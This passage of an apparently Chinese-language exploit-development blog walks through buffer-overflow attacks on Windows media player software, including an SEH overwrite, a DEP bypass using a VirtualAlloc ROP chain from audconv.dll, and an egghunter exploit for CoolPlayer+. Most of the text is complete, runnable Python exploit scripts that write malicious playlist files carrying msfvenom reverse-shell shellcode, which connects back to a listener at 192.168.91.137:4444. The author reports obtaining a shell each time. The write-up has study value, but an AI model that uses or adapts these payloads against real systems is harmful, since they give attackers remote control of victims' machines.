shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad"
shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d"
shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18"
shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02"
shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6"
shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64"
shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10"
shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23"
shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08"
shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26"
shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3"
shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c"
shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11"
shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73"
shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef"
shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76"
shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc"
shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe"
shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22"
shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59"
shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a"
shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57"
shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86"
shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91"
shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3"
shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b"
shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d"
shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71"
shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"

# badchars: \x00\x3d
payload=b"A"*4432
payload+=b"\xeb\x06\x90\x90"
payload += struct.pack("<L",0x1002b51c)
payload+=b"\x90"*16
payload+=shellcode
payload+=b"C"*(45544-len(shellcode))

with open("exploit.pls", "wb") as fp:
fp.write(payload)

成功反弹shell

BOF

现在开启全局DEP,来看一下,基本的步骤就不说了,截图几张:

利用mona,在每个SEH Handler下断点,这个方法还挺方便的:

BOF

查找ROP Chain在内存的位置:

BOF

执行到触发SEH之后,查看此刻ESP,得到ROP ChainROP之间的距离:

BOF

利用mona寻找跳转大于等于2412ROP Gadget

BOF

在生成的stackpivot.txt文件中挑选符合要求的ROP Gadget

BOF

这里选择0x100646bb作为覆盖seh的地址。注意跳转了3652个字节,需要在ROP Chain前面填充一些\x90,不然会跳转到ROP Chain内部,导致无法执行。经过多次尝试,需要添加1348\x90才能精确到达ROP Chain的最开始部分。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python3
import struct


total_size = 200000
filename="exploit_seh.pls"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x3d'
shellcode = b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab"
shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d"
shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad"
shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d"
shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18"
shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02"
shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6"
shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64"
shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10"
shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23"
shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08"
shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26"
shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3"
shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c"
shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11"
shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73"
shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef"
shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76"
shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc"
shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe"
shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22"
shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59"
shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a"
shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57"
shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86"
shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91"
shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3"
shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b"
shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d"
shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71"
shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"





def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x10070b5f, # POP EBP # RETN [audconv.dll]
0x10070b5f, # skip 4 bytes [audconv.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x1006c128, # POP EBX # RETN [audconv.dll]
0x00000001, # 0x00000001-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x10082d43, # POP EDX # RETN [audconv.dll]
0x00001000, # 0x00001000-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x10073e81, # POP ECX # RETN [audconv.dll]
0x00000040, # 0x00000040-> ecx
#[---INFO:gadgets_to_set_edi:---]
0x100147d2, # POP EDI # RETN [audconv.dll]
0x1003f2b9, # RETN (ROP NOP) [audconv.dll]
#[---INFO:gadgets_to_set_esi:---]
0x10001a43, # POP ESI # RETN [audconv.dll]
0x1006685a, # JMP [EAX] [audconv.dll]
0x1008264a, # POP EAX # RETN [audconv.dll]
0x100952c4, # ptr to &VirtualAlloc() [IAT audconv.dll]
#[---INFO:pushad:---]
0x1002ef14, # PUSHAD # RETN [audconv.dll]
#[---INFO:extras:---]
0x1002debd, # ptr to 'push esp # ret ' [audconv.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()




nops1 = b"\x90"*32
junk1 = b"A"*32
nops2 = b"\x90"*(1240+108) #
payload = nops2+rop_chain+nops1+shellcode
junk2 = b"A"*(4436-len(payload)-32)
# seh = b"\xcc\xcc\xcc\xcc"
seh = struct.pack("<L",0x100646bb) # ADD ESP,0E44 # RETN
junk3 = b"C"*(45544-4432-4)

with open(filename, "wb") as fp:
fp.write(junk1+payload+junk2+seh+junk3)

成功反弹shell

BOF

来看一下win10,不开启DEP。溢出时,可以看到SEH链的第二条被我们覆盖了:

BOF

在异常处理的时候,出现如下问题:(会一直停留在第一个异常处理函数里面,无法跳出)

BOF

谷歌了一下,说是异常没有捕获到。这里就不进一步讨论了。

2022年5月14日更新:Win10利用失败的原因是,我想找一个SafeSEH关闭,且未开启ASLRDLL,这样就可以保证利用脚本是稳定的,不会因为系统重启而无法使用。这里有且仅有audconv.dll,可以看上面我使用的地址,是以00开始,这样就导致内存里指令会被截断,而开始部分的Win7audconv.dll地址空间不是以00开始,所以可以利用成功。

测试环境:Windows 10 21H2 32位,关闭全局DEP。最开始是想开启全局DEP,然后尝试Egghunter+Bypass DEP+Bypass ASLR,后来发现不可行,就把全局DEP关掉了。

exploit-db上的链接:https://www.exploit-db.com/exploits/40151。

基本操作没有太多有意思的点,就不阐述了。我选择的2000字节,Offset确定为212,坏字符为\x00\x0a\x0d

mona看一下未开启ASLR的模块:

bof

只有coolplayer+.exe本身,并且地址区间在0x004000000x00485000间。好了,问题来了,地址包含00,会截断后续的字符,我们如果需要Bypass ASLR的话,又只能使用这里的某个地址。为了更加直观的获取寄存器与我们输入的字符串之间的关系,检查查找坏字符时内存的情况:

bof

也就是说,EBX所指向的内存保存着我们的输入字符,按照一般的栈溢出,只需把EIP的值覆盖为一条类似JMP EBX即可。

bof

直接贴上最终的利用代码来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
import socket
import struct

filename="exploit.m3u"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x0a\x0d'

shellcode = b"w00tw00t"
shellcode += b"\xba\x75\xb8\x3a\xf7\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x25\xb6\xd8\x02\x39\x2e\x9e\xed\xc1\xaf"
shellcode += b"\xff\x64\x24\x9e\x3f\x12\x2d\xb1\x8f\x50\x63"
shellcode += b"\x3e\x7b\x34\x97\xb5\x09\x91\x98\x7e\xa7\xc7"
shellcode += b"\x97\x7f\x94\x34\xb6\x03\xe7\x68\x18\x3d\x28"
shellcode += b"\x7d\x59\x7a\x55\x8c\x0b\xd3\x11\x23\xbb\x50"
shellcode += b"\x6f\xf8\x30\x2a\x61\x78\xa5\xfb\x80\xa9\x78"
shellcode += b"\x77\xdb\x69\x7b\x54\x57\x20\x63\xb9\x52\xfa"
shellcode += b"\x18\x09\x28\xfd\xc8\x43\xd1\x52\x35\x6c\x20"
shellcode += b"\xaa\x72\x4b\xdb\xd9\x8a\xaf\x66\xda\x49\xcd"
shellcode += b"\xbc\x6f\x49\x75\x36\xd7\xb5\x87\x9b\x8e\x3e"
shellcode += b"\x8b\x50\xc4\x18\x88\x67\x09\x13\xb4\xec\xac"
shellcode += b"\xf3\x3c\xb6\x8a\xd7\x65\x6c\xb2\x4e\xc0\xc3"
shellcode += b"\xcb\x90\xab\xbc\x69\xdb\x46\xa8\x03\x86\x0e"
shellcode += b"\x1d\x2e\x38\xcf\x09\x39\x4b\xfd\x96\x91\xc3"
shellcode += b"\x4d\x5e\x3c\x14\xb1\x75\xf8\x8a\x4c\x76\xf9"
shellcode += b"\x83\x8a\x22\xa9\xbb\x3b\x4b\x22\x3b\xc3\x9e"
shellcode += b"\xe5\x6b\x6b\x71\x46\xdb\xcb\x21\x2e\x31\xc4"
shellcode += b"\x1e\x4e\x3a\x0e\x37\xe5\xc1\xd9\xf8\x52\x92"
shellcode += b"\x90\x91\xa0\x24\xb2\x3d\x2c\xc2\xde\xad\x78"
shellcode += b"\x5d\x77\x57\x21\x15\xe6\x98\xff\x50\x28\x12"
shellcode += b"\x0c\xa5\xe7\xd3\x79\xb5\x90\x13\x34\xe7\x37"
shellcode += b"\x2b\xe2\x8f\xd4\xbe\x69\x4f\x92\xa2\x25\x18"
shellcode += b"\xf3\x15\x3c\xcc\xe9\x0c\x96\xf2\xf3\xc9\xd1"
shellcode += b"\xb6\x2f\x2a\xdf\x37\xbd\x16\xfb\x27\x7b\x96"
shellcode += b"\x47\x13\xd3\xc1\x11\xcd\x95\xbb\xd3\xa7\x4f"
shellcode += b"\x17\xba\x2f\x09\x5b\x7d\x29\x16\xb6\x0b\xd5"
shellcode += b"\xa7\x6f\x4a\xea\x08\xf8\x5a\x93\x74\x98\xa5"
shellcode += b"\x4e\x3d\xb8\x47\x5a\x48\x51\xde\x0f\xf1\x3c"
shellcode += b"\xe1\xfa\x36\x39\x62\x0e\xc7\xbe\x7a\x7b\xc2"
shellcode += b"\xfb\x3c\x90\xbe\x94\xa8\x96\x6d\x94\xf8"


buff_size = 2000
#egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
junk = b'\x90'*(212-len(egghunter))
eip = struct.pack("<L",0x00401897) # 0x00401897 : call ebx
nops = b"\x90"*32
junk2 = b'C'*(buff_size-212-4-len(shellcode)-32)
payload = junk+egghunter+eip+nops+shellcode+junk2

with open(filename,"wb") as filehander:
filehander.write(payload)

这里选择0x00401897用于覆盖EIP。

bof

发现EIP之后的值都变了,我这里在EIP之后是放的\x90。来看看此刻EBX所指向的内存的值:

bof

发现EBX所指向的内容就是我们输入的内容,并且没有截断。最开始想把shellcode放在导致溢出的A字符串所在的位置,这里的空间太少,不能直接放,只能考虑放egghunter代码。

成功反弹shell:(因为涉及到内存的搜索,反弹shell需要等待一些时间)

bof